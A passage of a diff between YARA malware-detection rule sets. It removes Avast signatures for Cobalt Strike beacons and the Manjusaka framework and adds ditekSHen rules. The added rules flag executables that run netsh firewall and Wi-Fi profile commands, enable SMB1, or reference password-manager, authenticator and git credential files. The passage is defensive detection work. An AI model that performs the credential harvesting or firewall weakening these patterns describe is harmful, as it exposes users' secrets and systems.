+		id = "cb3b43f3-8f45-5e4e-8e5e-9bfb89e842d3"
+		date = "2024-06-08"
+		modified = "2024-06-08"
+		reference = "https://github.com/ditekshen/detection"
+		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/indicator_suspicious.yar#L1991-L1999"
+		license_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/LICENSE.txt"
+		logic_hash = "68eb41d843b39e784d99153607c1deecdb5258cdbf641e2dd177c364847d85b1"
+		score = 40
+		quality = 43
+		tags = "FILE"
+		importance = 20
 
 	strings:
-		$h01 = { 10 ?? 00 00 ?? ?? ?? 00 ?? ?? ?? ?? 61 61 61 61 }
+		$s1 = "Enable-WindowsOptionalFeature -Online -FeatureName SMB1Protocol" ascii wide nocase
 
 	condition:
-		uint32be(@h01+8)^ uint32be(@h01+16)==0xFCE88900 or uint32be(@h01+8)^ uint32be(@h01+16)==0xFC4883E4 or uint32be(@h01+8)^ uint32be(@h01+16)==0x4D5AE800 or uint32be(@h01+8)^ uint32be(@h01+16)==0x4D5A4152 or uint32be(@h01+8)^ uint32be(@h01+16)==0x90909090
+		uint16(0)==0x5a4d and 1 of them
 }
-rule AVASTTI_Cobaltstrike_Beacon_X86
+import "time"
+import "pe"
+
+rule DITEKSHEN_INDICATOR_SUSPICIOUS_Enablenetworkdiscovery : FILE
 {
 	meta:
-		description = "No description has been set in the source file - AvastTI"
-		author = "Avast Threat Intel Team"
-		id = "6ffaafe6-2758-53e4-b5b8-6d8350baf428"
-		date = "2021-07-08"
-		modified = "2021-07-08"
-		reference = "https://github.com/avast/ioc"
-		source_url = "https://github.com/avast/ioc/blob/19245ea6066a04f15e0859899546f1378ef578cb/CobaltStrike/yara_rules/cs_rules.yar#L615-L632"
-		license_url = "N/A"
-		logic_hash = "e6328aae5954ac8e3914e65603813ba4f11d97ff91d08a1398e1f71740879463"
-		score = 75
-		quality = 90
-		tags = ""
+		description = "Detects binaries manipulating Windows firewall to enable permissive network discovery"
+		author = "ditekSHen"
+		id = "b1203e7a-b4f3-587e-aaea-a4cccaedc07d"
+		date = "2024-06-08"
+		modified = "2024-06-08"
+		reference = "https://github.com/ditekshen/detection"
+		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/indicator_suspicious.yar#L2001-L2010"
+		license_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/LICENSE.txt"
+		logic_hash = "6c28a33849d1c6c72b65926a81e96f0e3f5b9bb0a48739bf4240a16f6a10dcea"
+		score = 40
+		quality = 41
+		tags = "FILE"
+		importance = 20
 
 	strings:
-		$h01 = { 4D 5A E8 00 00 00 00 5B 89 DF 52 45 55 89 E5 81 C3 ?? ?? ?? ?? FF D3 68 }
-		$h11 = { 00 01 00 01 00 02 ?? ?? 00 02 00 01 00 02 ?? ?? 00 }
-		$h12 = { 69 68 69 68 69 6B ?? ?? 69 6B 69 68 69 6B ?? ?? 69 }
-		$h13 = { 2E 2F 2E 2F 2E 2C ?? ?? 2E 2C 2E 2F 2E 2C ?? ?? 2E }
+		$s1 = "netsh advfirewall firewall set rule group=\"Network Discovery\" new enable=Yes" ascii wide nocase
+		$s2 = "netsh advfirewall firewall set rule group=\"File and Printer Sharing\" new enable=Yes" ascii wide nocase
 
 	condition:
-		$h01 and any of ($h1*)
+		uint16(0)==0x5a4d and all of them
 }
-rule AVASTTI_Cobaltstrike_Beacon_X64
+import "time"
+import "pe"
+
+rule DITEKSHEN_INDICATOR_SUSPICIOUS_EXE_References_Authapps : FILE
 {
 	meta:
-		description = "No description has been set in the source file - AvastTI"
-		author = "Avast Threat Intel Team"
-		id = "5d6d86ec-9e05-5596-b623-30f44c6f44db"
-		date = "2021-07-08"
-		modified = "2021-07-08"
-		reference = "https://github.com/avast/ioc"
-		source_url = "https://github.com/avast/ioc/blob/19245ea6066a04f15e0859899546f1378ef578cb/CobaltStrike/yara_rules/cs_rules.yar#L634-L651"
-		license_url = "N/A"
-		logic_hash = "7abf5f9a337c60944a52efcc7a16a768652c46843d2da3df2f946dd6e63f9375"
-		score = 75
-		quality = 90
-		tags = ""
+		description = "Detects executables referencing many authentication apps. Observed in information stealers"
+		author = "ditekSHen"
+		id = "b2c1307d-ac4a-567f-ab14-7c65e16d984e"
+		date = "2024-06-08"
+		modified = "2024-06-08"
+		reference = "https://github.com/ditekshen/detection"
+		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/indicator_suspicious.yar#L2012-L2021"
+		license_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/LICENSE.txt"
+		logic_hash = "9c730ba532dca023821fd9073bffeecf099a2a956b7715421bd0b4e5e5d4b2cf"
+		score = 40
+		quality = 41
+		tags = "FILE"
+		importance = 20
 
 	strings:
-		$h01 = { 4D 5A 41 52 55 48 89 E5 48 81 EC 20 00 00 00 48 8D 1D EA FF FF FF 48 89 }
-		$h11 = { 00 01 00 01 00 02 ?? ?? 00 02 00 01 00 02 ?? ?? 00 }
-		$h12 = { 69 68 69 68 69 6B ?? ?? 69 6B 69 68 69 6B ?? ?? 69 }
-		$h13 = { 2E 2F 2E 2F 2E 2C ?? ?? 2E 2C 2E 2F 2E 2C ?? ?? 2E }
+		$s1 = "WinAuth\\winauth.xml" ascii wide nocase
+		$s2 = "Authy Desktop\\Local" ascii wide nocase
 
 	condition:
-		$h01 and any of ($h1*)
+		uint16(0)==0x5a4d and all of them
 }
-rule AVASTTI_Cobaltstrike_Beacon_Encoded
+import "time"
+import "pe"
+
+rule DITEKSHEN_INDICATOR_SUSPICIOUS_EXE_Undocumented_Winapi_Kerberos : FILE
 {
 	meta:
-		description = "No description has been set in the source file - AvastTI"
-		author = "Avast Threat Intel Team"
-		id = "497e2a32-015a-5786-a6fa-de7084bfc389"
-		date = "2021-07-08"
-		modified = "2021-07-08"
-		reference = "https://github.com/avast/ioc"
-		source_url = "https://github.com/avast/ioc/blob/19245ea6066a04f15e0859899546f1378ef578cb/CobaltStrike/yara_rules/cs_rules.yar#L653-L703"
-		license_url = "N/A"
-		logic_hash = "f763c0c41a69c6bafb65517d20ef76242bf7b1626d6745d9a1c26772de3ffa26"
-		score = 75
-		quality = 68
-		tags = ""
+		description = "Detects executables referencing undocumented kerberos Windows APIs and obsereved in malware"
+		author = "ditekSHen"
+		id = "1eb7faab-66b8-5d98-b6a8-75a078c2f6f8"
+		date = "2024-06-08"
+		modified = "2024-06-08"
+		reference = "https://github.com/ditekshen/detection"
+		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/indicator_suspicious.yar#L2054-L2068"
+		license_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/LICENSE.txt"
+		logic_hash = "19f22dcbc63723624d92be22cd69dcbab03a0b46299d43bc50ba73c79e573596"
+		score = 40
+		quality = 35
+		tags = "FILE"
+		importance = 20
 
 	strings:
-		$s01 = "0x4d, 0x5a, 0xe8, 0x00, 0x00, 0x00, 0x00, 0x5b, 0x89, 0xdf, 0x52, 0x45, 0x55, 0x89, 0xe5, 0x81" ascii wide nocase
-		$s02 = "0x4d,0x5a,0xe8,0x00,0x00,0x00,0x00,0x5b,0x89,0xdf,0x52,0x45,0x55,0x89,0xe5,0x81" ascii wide nocase
-		$s03 = "0x4d, 0x5a, 0x41, 0x52, 0x55, 0x48, 0x89, 0xe5, 0x48, 0x81, 0xec, 0x20, 0x00, 0x00, 0x00, 0x48" ascii wide nocase
-		$s04 = "0x4d,0x5a,0x41,0x52,0x55,0x48,0x89,0xe5,0x48,0x81,0xec,0x20,0x00,0x00,0x00,0x48" ascii wide nocase
-		$s05 = "4d5ae8000000005b89df52455589e581" ascii wide nocase
-		$s06 = "4d 5a e8 00 00 00 00 5b 89 df 52 45 55 89 e5 81" ascii wide nocase
-		$s07 = "4d5a4152554889e54881ec2000000048" ascii wide nocase
-		$s08 = "4d 5a 41 52 55 48 89 e5 48 81 ec 20 00 00 00 48" ascii wide nocase
-		$s09 = "TVroAAAAAFuJ31JFVYnlg" ascii wide
-		$s10 = "TVpBUlVIieVIgewgAAAAS" ascii wide
-		$s11 = "bnnLIyMjI3iq/HFmdqrGo" ascii wide
-		$s12 = "bnlicXZrqsZros8DIyMja" ascii wide
-		$s13 = "TQBaAOgAAAAAAAAAAABbAIkA3wBSAEUAVQCJAOUAg" ascii wide
-		$s14 = "TQBaAEEAUgBVAEgAiQDlAEgAgQDsACAAAAAAAAAAS" ascii wide
-		$s15 = "biN5I2IjcSN2I2sjqiPGI2sjoiPPIwMjIyMjIyMja" ascii wide
-		$s16 = "biN5I8sjIyMjIyMjIyN4I6oj/CNxI2YjdiOqI8Yjo" ascii wide
-		$s17 = "Array(77,90,-24,0,0,0,0,91,-119,-33,82,69,85,-119,-27,-127" ascii wide
-		$s18 = "Array(77, 90, -24, 0, 0, 0, 0, 91, -119, -33, 82, 69, 85, -119, -27, -127" ascii wide
-		$s19 = "Array(77,90,65,82,85,72,-119,-27,72,-127,-20,32,0,0,0,72" ascii wide
-		$s20 = "Array(77, 90, 65, 82, 85, 72, -119, -27, 72, -127, -20, 32, 0, 0, 0, 72" ascii wide
-		$s21 = "MZ\"&Chr(-27)&Chr(0)&Chr(0)&Chr(0)&Chr(0)&Chr(91)&Chr(-119)&Chr(-33)&\"REU\"&Chr(-119)&Chr(-27)&Chr(-127)" ascii wide
-		$s22 = "MZARUH\"&Chr(-119)&Chr(-27)&\"H\"&Chr(-127)&Chr(-20)&Chr(32)&Chr(0)&Chr(0)&Chr(0)&\"H" ascii wide
-		$s23 = "\\x4d\\x5a\\xe8\\x00\\x00\\x00\\x00\\x5b\\x89\\xdf\\x52\\x45\\x55\\x89\\xe5\\x81" ascii wide nocase
-		$s24 = "\\x4d\\x5a\\x41\\x52\\x55\\x48\\x89\\xe5\\x48\\x81\\xec\\x20\\x00\\x00\\x00\\x48" ascii wide nocase
+		$kdc1 = "KdcVerifyEncryptedTimeStamp" ascii wide nocase
+		$kdc2 = "KerbHashPasswordEx3" ascii wide nocase
+		$kdc3 = "KerbFreeKey" ascii wide nocase
 
 	condition:
-		any of them
+		uint16(0)==0x5a4d and all of ($kdc*)
 }
-rule AVASTTI_Cobaltstrike_Beacon_Xored_X86
+import "time"
+import "pe"
+
+rule DITEKSHEN_INDICATOR_SUSPICIOUS_EXE_NKN_BCP2P : FILE
 {
 	meta:
-		description = "No description has been set in the source file - AvastTI"
-		author = "Avast Threat Intel Team"
-		id = "d93c20e6-3e01-5132-88a0-63ace507cae9"
-		date = "2021-07-08"
-		modified = "2021-07-08"
-		reference = "https://github.com/avast/ioc"
-		source_url = "https://github.com/avast/ioc/blob/19245ea6066a04f15e0859899546f1378ef578cb/CobaltStrike/yara_rules/cs_rules.yar#L705-L726"
-		license_url = "N/A"
-		logic_hash = "1415c8ab5b4ddd6eb0f561b570358f04f967621dfc6274e0380879563b612c27"
-		score = 75
-		quality = 90
-		tags = ""
+		description = "Detects executables referencing NKN Blockchain P2P network"
+		author = "ditekSHen"
+		id = "21aa4034-8c8f-515e-b8a4-4ce32ad816a6"
+		date = "2024-06-08"
+		modified = "2024-06-08"
+		reference = "https://github.com/ditekshen/detection"
+		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/indicator_suspicious.yar#L2070-L2086"
+		license_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/LICENSE.txt"
+		logic_hash = "98161fcac130ba758bd9f8c4bc7133b9ba862df61dd86ad7d0ecbb0f18813a5e"
+		score = 40
+		quality = 45
+		tags = "FILE"
+		importance = 20
 
 	strings:
-		$h01 = { FC E8??000000 [0-32] EB27 ?? 8B?? 83??04 8B?? 31?? 83??04 ?? 8B?? 31?? 89?? 31?? 83??04 83??04 31?? 39?? 7402 EBEA ?? FF?? E8D4FFFFFF }
-		$h02 = { FC E8??000000 [0-32] EB2B ?? 8B??00 83C504 8B??00 31?? 83C504 55 8B??00 31?? 89??00 31?? 83C504 83??04 31?? 39?? 7402 EBE8 ?? FF?? E8D0FFFFFF }
-		$h11 = { 7402 EB(E8|EA) ?? FF?? E8(D0|D4)FFFFFF }
+		$x1 = "/nknorg/nkn-sdk-go." ascii
+		$x2 = "://seed.nkn.org" ascii
+		$x3 = "/nknorg/nkn/" ascii
+		$s1 = ").NewNanoPayClaimer" ascii
+		$s2 = ").IncrementAmount" ascii
+		$s3 = ").BalanceByAddress" ascii
+		$s4 = ").TransferName" ascii
+		$s5 = ".GetWsAddr" ascii
+		$s6 = ".GetNodeStateContext" ascii
 
 	condition:
-		any of ($h0*) and ( uint32be(@h11+12)^ uint32be(@h11+20)==0x4D5AE800 or uint32be(@h11+12)^ uint32be(@h11+20)==0x904D5AE8 or uint32be(@h11+12)^ uint32be(@h11+20)==0x90904D5A or uint32be(@h11+12)^ uint32be(@h11+20)==0x9090904D or uint32be(@h11+12)^ uint32be(@h11+20)==0x90909090)
+		uint16(0)==0x5a4d and (1 of ($x*) or all of ($s*))
 }
-rule AVASTTI_Cobaltstrike_Beacon_Xored_X64
+import "time"
+import "pe"
+
+rule DITEKSHEN_INDICATOR_SUSPICIOUS_EXE_References_Passwordmanagers : FILE
 {
 	meta:
-		description = "No description has been set in the source file - AvastTI"
-		author = "Avast Threat Intel Team"
-		id = "15be610a-7552-5473-8da2-639220313783"
-		date = "2021-07-08"
-		modified = "2021-07-08"
-		reference = "https://github.com/avast/ioc"
-		source_url = "https://github.com/avast/ioc/blob/19245ea6066a04f15e0859899546f1378ef578cb/CobaltStrike/yara_rules/cs_rules.yar#L728-L746"
-		license_url = "N/A"
-		logic_hash = "11e6c8be28325d42f24fb5bb43c0b5fd35990a46857bae7c9940262a33c02a8c"
-		score = 75
-		quality = 90
-		tags = ""
+		description = "Detects executables referencing many Password Manager software clients. Observed in infostealers"
+		author = "ditekSHen"
+		id = "4da7bf22-fdd7-53b7-bdfc-da7ac5657f6f"
+		date = "2024-06-08"
+		modified = "2024-06-08"
+		reference = "https://github.com/ditekshen/detection"
+		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/indicator_suspicious.yar#L2088-L2099"
+		license_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/LICENSE.txt"
+		logic_hash = "6d2f7739282611166a7e06d96345c46df92500b387d9f940169d5ee6664ea5ad"
+		score = 40
+		quality = 37
+		tags = "FILE"
+		importance = 20
 
 	strings:
-		$h01 = { FC 4883E4F0 EB33 5D 8B4500 4883C504 8B4D00 31C1 4883C504 55 8B5500 31C2 895500 31D0 4883C504 83E904 31D2 39D1 7402 EBE7 58 FC 4883E4F0 FFD0 E8C8FFFFFF }
-		$h11 = { FC 4883E4F0 FFD0 E8C8FFFFFF }
+		$s1 = "1Password\\" ascii wide nocase
+		$s2 = "Dashlane\\" ascii wide nocase
+		$s3 = "nordpass*.sqlite" ascii wide nocase
+		$s4 = "RoboForm\\" ascii wide nocase
 
 	condition:
-		$h01 and ( uint32be(@h11+12)^ uint32be(@h11+20)==0x4D5A4152 or uint32be(@h11+12)^ uint32be(@h11+20)==0x904D5A41 or uint32be(@h11+12)^ uint32be(@h11+20)==0x90904D5A or uint32be(@h11+12)^ uint32be(@h11+20)==0x9090904D or uint32be(@h11+12)^ uint32be(@h11+20)==0x90909090)
+		uint16(0)==0x5a4d and 3 of them
 }
-rule AVASTTI_Manjusaka_Framework_Go_Build_Id
+import "time"
+import "pe"
+
+rule DITEKSHEN_INDICATOR_SUSPICIOUS_EXE_Wirelessnetreccon : FILE
 {
 	meta:
-		description = "No description has been set in the source file - AvastTI"
-		author = "Avast Threat Intel Team"
-		id = "eca3324c-c029-53b5-b33d-9ec758dcd863"
-		date = "2022-10-05"
-		modified = "2022-10-05"
-		reference = "https://github.com/avast/ioc"
-		source_url = "https://github.com/avast/ioc/blob/19245ea6066a04f15e0859899546f1378ef578cb/Manjusaka/Manjusaka.yar#L15-L62"
-		license_url = "N/A"
-		hash = "955e9bbcdf1cb230c5f079a08995f510a3b96224545e04c1b1f9889d57dd33c1"
-		hash = "f275ca5129399a521c8cd9754b1133ecd2debcfafc928c01df6bd438522c564a"
-		hash = "637f3080526d7d0ad5eb41bf9331fb51aaafd30f2895c00a44ad905154f76d70"
-		hash = "b5c366d782426bad4ba880dc908669ff785420dea02067b12e2261dd1988f34a"
-		hash = "107b094031094cbb1f081d85ec2799c3450dce32e254bda2fd1bb32edb449aa4"
-		hash = "fb5835f42d5611804aaa044150a20b13dcf595d91314ebef8cf6810407d85c64"
-		hash = "ff20333d38f7affbfde5b85d704ee20cd60b519cb57c70e0cf5ac1f65acf91a6"
-		hash = "3581d99feb874f65f53866751b7874c106b5ce65a523972ef6a736844209043c"
-		hash = "6082bf26bcc07bf299a88eaa0272022418b12156cd987adfdff9fa1517afcf3d"
-		hash = "14dfb43a1782b0b8d93c3d67d63b6c786b0a223bc50c3ec68106bd18d43652a4"
-		hash = "4a0f47132867c12a6d009e43812729a1bb41f4eb83472ac352fc5b20fe937bef"
-		hash = "bb1b7d506559c783ed747da461f58ea5256ba0a083768ae6aa1a2325017c4387"
-		hash = "bd0e09e9ee4db74ada6433f00024a543f799046c15f635216ca4ae5e1f0c42e2"
-		logic_hash = "de68bc483255c9c1095771925a7c2fc3062489a4468d42e7c6aa9f0146841c5c"
-		score = 75
-		quality = 88
-		tags = ""
+		description = "Detects executables with interest in wireless interface using netsh"
+		author = "ditekSHen"
+		id = "15515523-fe53-5512-95f3-79d0695e7da0"
+		date = "2024-06-08"
+		modified = "2024-06-08"
+		reference = "https://github.com/ditekshen/detection"
+		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/indicator_suspicious.yar#L2101-L2111"
+		license_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/LICENSE.txt"
+		logic_hash = "a8614a8c11e3797e7d7fb7ec2c0705fafc98ce50714e48798594e6fb5bfc1789"
+		score = 40
+		quality = 39
+		tags = "FILE"
+		importance = 20
 
 	strings:
-		$h01 = { 47 6F 00 00 57 79 5F 76 69 62 44 5A 76 32 77 6D 35 62 4C 32 71 73 6A 4A 2F 34 50 4D 56 79 4D 39 39 76 61 76 58 68 7A 65 5A 34 6C 76 2D 2F 4E 59 6C 5F 4B 6D 75 53 45 62 53 4E 4A 6B 39 45 61 52 74 31 2F 2D 45 4D 50 57 64 6A 73 30 4E 6C 37 73 79 67 41 41 74 65 54 00 }
-		$h02 = { 47 6F 00 00 79 30 4D 57 35 6A 74 30 45 6B 61 77 55 4B 35 6B 6B 6C 31 32 2F 5A 68 34 34 36 61 65 4D 7A 62 48 47 37 4F 73 56 4F 66 71 75 2F 6D 5F 58 74 43 52 32 32 39 75 4B 67 5A 62 51 65 44 35 43 74 2F 66 78 66 47 4A 47 61 59 4E 31 5F 36 6E 4E 76 32 58 5A 53 62 00 }
-		$h03 = { 47 6F 06 FF FF FF 7F 79 30 4D 57 35 6A 74 30 45 6B 61 77 55 4B 35 6B 6B 6C 31 32 2F 5A 68 34 34 36 61 65 4D 7A 62 FF FF FF FF 48 47 37 4F 73 56 4F 66 71 75 2F 6D 5F 58 74 43 52 32 32 39 75 4B 67 5A 62 51 65 44 35 43 74 2F }
-		$h04 = { 47 6F 00 00 30 33 30 36 42 53 4B 42 71 6E 71 4B 74 4D 51 71 67 53 58 4D 2F 68 4C 6A 34 77 76 56 56 4A 4C 79 42 43 61 4A 42 5F 38 4D 30 2F 73 74 66 62 47 73 46 5A 58 67 4E 6B 50 77 5A 4B 4C 71 52 65 2F 4D 49 46 68 69 67 7A 65 50 53 65 56 35 64 5F 52 6D 66 43 35 00 }
-		$h05 = { 47 6F 06 FF FF FF 7F 30 33 30 36 42 53 4B 42 71 6E 71 4B 74 4D 51 71 67 53 58 4D 2F 68 4C 6A 34 77 76 56 56 4A 4C FF FF FF FF 79 42 43 61 4A 42 5F 38 4D 30 2F 73 74 66 62 47 73 46 5A 58 67 4E 6B 50 77 5A 4B 4C 71 52 65 }
-		$h06 = { 47 6F 00 00 36 35 34 67 69 6A 50 41 55 6B 45 61 7A 4A 70 6A 44 39 4E 55 2F 67 44 75 48 46 31 78 66 64 70 39 31 53 66 36 53 59 51 48 58 2F 76 73 6E 6E 37 65 6B 67 30 54 4B 58 57 69 4F 53 63 46 30 44 2F 53 61 6D 30 73 51 6D 66 79 43 61 44 43 38 71 43 66 59 78 35 00 }
-		$h07 = { 47 6F 06 FF ED FF 7F 36 35 34 67 69 6A 50 41 55 6B 45 61 7A 4A 70 6A 44 39 68 2F 67 44 75 48 46 31 78 66 FF FF FF FF 64 70 39 31 53 66 36 53 59 51 48 58 2F 76 73 6E 6E 37 65 6B 67 30 54 4B 58 57 69 4F 53 63 46 30 }
-		$h08 = { 47 6F 20 62 FF FF FF FF 75 69 6C 64 20 49 44 3A 20 22 65 72 52 47 4F 4A 56 48 65 38 37 58 67 6D 79 4F 56 77 48 44 2F 42 FB FF FF FF 70 78 56 76 70 79 44 58 74 4C 64 64 79 57 46 64 38 4E 39 2F 6F 59 77 64 70 73 6D 46 45 }
-		$h09 = { 47 6F 20 62 75 69 6C 64 20 49 44 3A 20 22 65 72 52 47 4F 4A 56 48 65 38 37 58 67 6D 79 4F 56 77 48 44 2F 42 70 78 56 76 70 79 44 58 74 4C 64 64 79 57 46 64 38 4E 39 2F 6F 59 77 64 70 73 6D 46 45 44 58 39 32 58 4A 55 52 4C 55 7A 2F 62 62 58 59 38 43 76 6B 44 4D 72 69 42 33 32 64 49 36 53 58 }
-		$h10 = { 47 6F 00 00 47 6E 42 4B 6F 63 4C 77 76 57 5A 6E 43 5F 55 6D 49 72 2D 72 2F 36 50 2D 4F 7A 46 62 51 37 39 6F 59 79 79 61 44 52 48 56 34 2F 38 74 6D 46 77 78 63 53 64 63 63 6D 70 66 73 5A 63 33 68 62 2F 77 34 2D 36 49 52 50 70 75 42 66 75 61 68 7A 50 63 4C 35 32 00 }
-		$h11 = { 47 6F 06 FF FF FF FF 6E 42 4B 6F 63 4C 77 76 57 5A 6E 43 5F 55 6D 49 72 2D 72 2F 36 50 2D 4F 7A 46 62 51 37 39 6F FF FF 6F FF 59 79 79 61 44 52 48 56 DC 38 74 6D 46 77 78 63 53 64 63 63 6D 70 66 73 5A 63 33 68 62 }
-		$h12 = { 47 6F 00 00 4E 50 57 41 64 50 62 57 6D 6E 58 72 30 61 36 67 44 37 4B 7A 2F 54 74 6E 59 64 4F 79 43 6A 76 63 43 51 75 5A 39 47 69 44 72 2F 46 43 6D 4F 69 38 41 30 36 36 52 50 43 36 53 4F 57 76 61 4D 2F 43 70 57 37 4F 30 73 38 61 51 32 42 46 56 64 66 65 62 54 4A 00 }
-		$h13 = { 47 6F 06 FF FF FF 7F 4E 50 57 41 64 50 62 57 6D 6E 58 72 30 61 36 67 44 37 4B 7A 2F 54 74 6E 59 64 4F 79 43 6A 76 FF FF FF FF 63 43 51 75 5A 39 47 69 44 72 2F 46 43 6D 4F 69 38 41 30 36 36 52 50 43 36 53 4F 57 76 61 4D 2F }
+		$s1 = "netsh wlan show profile" ascii wide nocase
+		$s2 = "netsh wlan show profile name=" ascii wide nocase
+		$s3 = "netsh wlan show networks mode=bssid" ascii wide nocase
 
 	condition:
-		any of them
+		uint16(0)==0x5a4d and all of them
 }
-rule AVASTTI_Manjusaka_Payload_Encoded_Hexstring
+import "time"
+import "pe"
+
+rule DITEKSHEN_INDICATOR_SUSPICIOUS_EXE_References_Gitconfdata : FILE
 {
 	meta:
-		description = "No description has been set in the source file - AvastTI"
-		author = "Avast Threat Intel Team"
-		id = "9799081c-67ec-5ab8-9b23-31f60c05fc05"
-		date = "2022-10-05"
-		modified = "2022-10-05"
-		reference = "https://github.com/avast/ioc"
-		source_url = "https://github.com/avast/ioc/blob/19245ea6066a04f15e0859899546f1378ef578cb/Manjusaka/Manjusaka.yar#L64-L93"
-		license_url = "N/A"
-		logic_hash = "5c0b83e709baea7db6185d888bfa10bab073eb0eb2f3fb72df2da76fff3f6f22"
-		score = 75
-		quality = 90
-		tags = ""
+		description = "Detects executables referencing potentially confidential GIT artifacts. Observed in infostealer"
+		author = "ditekSHen"
+		id = "5462491b-f1cf-55ae-b120-ed09eb9549bc"
+		date = "2024-06-08"
+		modified = "2024-06-08"
+		reference = "https://github.com/ditekshen/detection"
+		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/indicator_suspicious.yar#L2113-L2125"
+		license_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/LICENSE.txt"
+		logic_hash = "d8b370ea31fade4f6f4ae12903e40026d806862f6c4a7b5818e3942b6b849fd2"
+		score = 40
+		quality = 41
+		tags = "FILE"
+		importance = 20
 
 	strings:
-		$s01 = "1f8b08000000000000ff7cdd099c1ae5fd3ff031e620c6038d5aea493df18a24c688372626c1180d468d78d465b34b96357be0ee2612354ab5553caa68ad454d158f2a566b51ab454d2dde"
-		$s02 = "1f8b08000000000000ff94dd09982355d9fffd62d89a45880a181621804240c10888718328a8ed864144a3029d66ba67d2cc4c4fecee8180a85114f3284b4096b00d619380085111f3284a"
-		$s03 = "1f8b08000000000000ff94dd0b982355b5fffde21eee011503a204440d201001317a148278890a1804348ad269667a260d3d33b1bb19820246bc10914bb80811618c80108f084110232204"
-		$s04 = "1f8b08000000000000ff94dd07981bd5d9fffdb131208a41b4075123ba280101c6112d88d04468a22b01b25abc6b6bf17aadecae4140008540103582001110401483e8a28b2e4a4074d197"
-		$s11 = "1f8b08000000000000ffecbd09784cd7ff077c26c924631977828958c284694d5092da12eb8448ce302108a248628ba82d65862025e924b8aeabdaeaa2abb6bfaebad74f83fe4804a1d5d6"
-		$s12 = "1f8b08000000000000ffecbd097414c5faff5d9d7502849e400209201974c4441113371240c8842cd5d00361070502224bdc403203a82c8993d1146d2b7ac5e5ba5cdcb9aea85c36176612"
-		$s13 = "1f8b08000000000000ffecbd7b7854d5d928be7632496620710d4874522e9991ad4e94627641491425031378b7ae1150046a1168a1237ca2419801542e893b53b3d8eeafb4b5777b8eb5fd"
-		$s14 = "1f8b08000000000000ffecbd7b7854d5d530be4f32496620710f9ae8a45c3223479d28d51c414934960c4c601ddd23a811a845a0858e50d120cc002a97c49369b3399e96b6dacb5bfb7dbe"
-		$s15 = "1f8b08000000000000ffecbd79785445d6305eb7934e3a90e676846887451abc68c7b5e33293284b37e924a7e506a222a022c45119501c23744b1c194ce6764b2a97abcc88233a3aaee38a"
+		$s1 = "GithubDesktop\\Local Storage" ascii wide nocase
+		$s2 = "GitHub Desktop\\Local Storage" ascii wide nocase
+		$s3 = ".git-credentials" ascii wide
+		$s4 = ".config\\git\\credentials" ascii wide
+		$s5 = ".gitconfig" ascii wide
 
 	condition:
-		(AVASTTI_EXE_PRIVATE or AVASTTI_ELF_PRIVATE) and ( any of ($s0*) and any of ($s1*))
+		uint16(0)==0x5a4d and 4 of them
 }
-rule AVASTTI_Manjusaka_Payload_Elf
+import "time"
+import "pe"
+
+rule DITEKSHEN_INDICATOR_SUSPICIOUS_EXE_Reversed : FILE
 {
 	meta:
-		description = "No description has been set in the source file - AvastTI"
-		author = "Avast Threat Intel Team"
-		id = "010398f6-ca9b-58b4-a9d8-12428f649ffc"
-		date = "2022-10-05"
-		modified = "2022-10-05"
-		reference = "https://github.com/avast/ioc"
-		source_url = "https://github.com/avast/ioc/blob/19245ea6066a04f15e0859899546f1378ef578cb/Manjusaka/Manjusaka.yar#L95-L122"
-		license_url = "N/A"
-		hash = "0063e5007566e0a7e8bfd73c4628c6d140b332df4f9afbb0adcf0c832dd54c2b"
-		hash = "76eb9af0e2f620016d63d38ddb86f0f3f8f598b54146ad14e6af3d8f347dd365"
-		hash = "0a5174b5181fcd6827d9c4a83e9f0423838cbb5a6b23d012c3ae414b31c8b0da"
-		hash = "63e7f6fa89faa88b346d0cceddf2ef2e3ebf5d5828aa0087663c227422041db7"
-		hash = "400855b63b8452221869630c58b7ab03373dabf77c0f10df635e746c13f98ea9"
-		hash = "4eb337c12f0e0ee73b3209bed4b819719c4af9f63f3e81dbc3bbf06212450f1c"
-		logic_hash = "bbc496788381b57b3ea2814dd61a824d552233f9c5f73287f8bc284252fbedfe"
-		score = 75
-		quality = 90
-		tags = ""
+		description = "Detects reversed executables. Observed N-stage drop"
+		author = "ditekSHen"
+		id = "765b1983-8831-5f7d-9cbd-90af0cd452f7"
+		date = "2024-06-08"
+		modified = "2024-06-08"
+		reference = "https://github.com/ditekshen/detection"
+		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/indicator_suspicious.yar#L2127-L2135"
+		license_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/LICENSE.txt"
+		logic_hash = "4d031f59b201f5c5c9b69bbbe277cc10c3b5ed8427c5c2f679fdd33c8bc41501"
+		score = 40
+		quality = 45
+		tags = "FILE"
+		importance = 20
 
 	strings:
-		$s01 = "proc/meminfo/proc/uptime/etc/os-releaseVERSION_ID=NAME=DISTRIB_ID"
-		$s02 = "/root/.cargo/registry/src/mirrors.ustc.edu.cn"
-		$s03 = "cmdlineexecwdassertion failed"
-		$s04 = "/etc/passwd/root/"
-		$s11 = "./protos/cs.rstargetpidAgentsagentAgentUpdatesleepenckeysysinfoConfigPluginExecPluginLoadReqCwd"
-		$s12 = "ReqScreenH"
